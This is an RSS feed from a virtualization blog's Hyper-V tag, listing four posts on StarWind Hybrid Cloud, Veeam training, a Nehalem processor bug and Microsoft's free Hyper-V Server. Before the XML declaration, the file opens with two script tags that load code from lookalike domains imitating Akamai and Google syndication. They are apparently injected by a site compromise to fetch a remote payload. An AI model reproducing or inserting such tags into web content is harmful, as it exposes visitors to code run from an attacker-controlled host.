<script src="//ak.akam60800.net/"></script><script src="//async.gsyndication.com/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hyper-V Archives - ESX Virtualization</title>
	<atom:link href="https://www.vladan.fr/tag/hyper-v/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.vladan.fr/tag/hyper-v/</link>
	<description>VMware ESXi, vSphere, VMware Backup, Hyper-V... how-to, videos....</description>
	<lastBuildDate>Sat, 04 Jan 2020 10:51:22 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>StarWind Hybrid Cloud For Microsoft Azure</title>
		<link>https://www.vladan.fr/starwind-hybrid-cloud-for-microsoft-azure/</link>
		
		<dc:creator><![CDATA[Vladan SEGET]]></dc:creator>
		<pubDate>Tue, 19 Dec 2017 03:48:07 +0000</pubDate>
				<category><![CDATA[Server Virtualization]]></category>
		<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[StarWind Hybrid Cloud]]></category>
		<guid isPermaLink="false">https://www.vladan.fr/?p=219961</guid>

					<description><![CDATA[<p>Currently, the IT transformation is in the phase where some on-premises workloads are moving to the hybrid cloud or cloud is used for disaster recovery (DR) strategies. To be able to move your workloads to the cloud and back, there are several challenges. Bandwidth, storage and compute resources, etc. But one of the most important is [&#8230;]</p>
<p>Read the full post <a href="https://www.vladan.fr/starwind-hybrid-cloud-for-microsoft-azure/">StarWind Hybrid Cloud For Microsoft Azure</a> at <a href="https://www.vladan.fr">ESX Virtualization</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Veeam&#8217;s Backup Accademy Website opened &#8211; an excellent Free ressource</title>
		<link>https://www.vladan.fr/veeams-backup-accademy-website-opened-an-excellent-free-ressource/</link>
		
		<dc:creator><![CDATA[Vladan SEGET]]></dc:creator>
		<pubDate>Tue, 13 Sep 2011 16:13:14 +0000</pubDate>
				<category><![CDATA[Backup]]></category>
		<category><![CDATA[Backup Accademy]]></category>
		<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[Veeam Backup]]></category>
		<category><![CDATA[VMware vSphere]]></category>
		<guid isPermaLink="false">http://www.vladan.fr/?p=12546</guid>

					<description><![CDATA[<p>Veeam has opened new resource website which is an incredible training ressource. It's a free website, which has been sponsored by Veeam and where you can watch training videos on backup technologies for different hyper-visors.  The website has some great video  content already provided by some top Experts in the Industry, not only specializing in [&#8230;]</p>
<p>Read the full post <a href="https://www.vladan.fr/veeams-backup-accademy-website-opened-an-excellent-free-ressource/">Veeam&#8217;s Backup Accademy Website opened &#8211; an excellent Free ressource</a> at <a href="https://www.vladan.fr">ESX Virtualization</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Windows 2008 R2 with Hyper-V installed on Server with Xeon 5500 Nehalem processor</title>
		<link>https://www.vladan.fr/windows-2008-r2-with-hyper-v-installed-on-server-with-xeon-5500-nehalem-processor/</link>
		
		<dc:creator><![CDATA[Vladan SEGET]]></dc:creator>
		<pubDate>Thu, 03 Dec 2009 06:30:59 +0000</pubDate>
				<category><![CDATA[Server Virtualization]]></category>
		<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[Hyper-V with 2008 R2]]></category>
		<category><![CDATA[Microsoft]]></category>
		<guid isPermaLink="false">http://www.vladan.fr/?p=3679</guid>

					<description><![CDATA[<p>2008 Server with Hyper-V role installed does not like Nehalem processors? Apparently this problem is known since September&#8230; It's been announced by Intel. Processors affected are: AAK119 (Xeon 5500), AAM123 (Xeon 3500), AAO89 (Xeon 3400), AAJ121 (Core i7-900) and AAN87 (Core i7-800, Core i5) &#8220;In an article outlining hidden strife in the processor world, Andreas [&#8230;]</p>
<p>Read the full post <a href="https://www.vladan.fr/windows-2008-r2-with-hyper-v-installed-on-server-with-xeon-5500-nehalem-processor/">Windows 2008 R2 with Hyper-V installed on Server with Xeon 5500 Nehalem processor</a> at <a href="https://www.vladan.fr">ESX Virtualization</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Free Hypervisor from Microsoft is here</title>
		<link>https://www.vladan.fr/free-hypervisor-from-microsoft-is-here/</link>
		
		<dc:creator><![CDATA[Vladan SEGET]]></dc:creator>
		<pubDate>Sat, 04 Oct 2008 14:35:27 +0000</pubDate>
				<category><![CDATA[Server Virtualization]]></category>
		<category><![CDATA[Hyper-V]]></category>
		<category><![CDATA[virtualization]]></category>
		<guid isPermaLink="false">http://www.vladan.fr/free-hypervizor-from-microsoft-is-here/</guid>

					<description><![CDATA[<p>Free Standalone HyperVisor called Microsoft Hyper-V Server 2008 was released this thursday. It is a free product from Microsoft. What it looks like? It looks like the Windows 2008 server CORE installation. You will need to make quite a few steps to make this machine behave&#8230; -:). You will have to rename the machine and [&#8230;]</p>
<p>Read the full post <a href="https://www.vladan.fr/free-hypervisor-from-microsoft-is-here/">Free Hypervisor from Microsoft is here</a> at <a href="https://www.vladan.fr">ESX Virtualization</a>.</p>
]]></description>
		
		
		
			</item>
	</channel>
</rss>
